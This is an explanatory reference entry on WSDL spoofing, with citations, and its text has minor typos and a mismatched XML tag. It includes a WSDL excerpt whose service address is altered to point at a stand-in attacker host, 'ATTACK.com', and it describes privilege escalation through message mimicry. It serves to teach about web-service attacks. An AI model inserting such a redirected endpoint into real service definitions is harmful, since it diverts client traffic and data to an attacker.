**WSDL Spoofing**

**other names: WSDL parameter tampering, Meta Data Spoofing**

**Description 1**

Before a web service client can communicate with other web services, the web service client has to retrieve information on how to invoke the the desired web service. That means data such as web service address, message format, required parameters or security requirements. this data can be found found in the WSDL meta data provided by the invoked web services server. When an attacker is able to maliciously alter a WSDL and spread it across web service clients, this attack is called **WSDL spoofing**. [1]

**Example (to illustrate a possible consequence) [1]**

Listing 1 contains a WSDL example with a network address. If attacker changes the network address to his own address, all requests get forwarded to the web service located at the new network address specified by the attacker.

*<!-- excerpt of WSDL FILE [http://www.w3.org/2001/03/14-annotated-WSDL-examples.html]-->*

*<!-- wsdl:service names a new service "StockQuoteService" -->*

**<wsdl:service** name="StockQuoteService"**>**

**<wsdl:documentation>**My first service**</documentation>**

*<!-- connect it to the binding "StockQuoteBinding" above -->*

**<wsdl:port** name="StockQuotePort"

binding="tns:StockQuoteBinding"**>**

*<!-- give the binding an network address -->*

*<!-- THE LOCATION WAS CHANGED FROM examples.com to ATTACK.com -->*

**<soap:address** location="http://ATTACK.com/stockquote"**/>**

**</wsdl:port>**

**</wsdl:service>**

**</wsdl:definitions>**

**Description 3**

**--about impact of wsdl attack --**

The biggest impact of WSDL attack is to **disrupt the availability of the service**. The impact expands upon the **pyramid of confidentiality, integrity and availability**. [2]

**Description 2**

In this attack An attacker attempts to modify the services Web Service Definition Languages (WSDL) descriptions. This can for instance cause a call to deleteUser service to generate a soap message that mimics and may be interpreted as a call to setAdminRights on the server side. Therefore, in that scenario, a user who intended to delete a certain account may grant extra privilege to the adversary. [3]

**Reference**

[1] http://www.ws-attacks.org/index.php?title=WSDL\_Spoofing&redirect=no

[2] Chan, Ka Fai Peter, Martin Olivier, and Renier Pelser van Heerden. "A Taxonomy of Web Service Attacks." *Proceedings of the 8th International Conference on Information Warfare and Security: ICIW*. 2013.

[3] Aguiar, Everaldo, Yihua Zhang, and Marina Blanton. "An overview of issues and recent developments in cloud computing and storage security." *High Performance Cloud Auditing and Applications*. Springer New York, 2014. 3-33.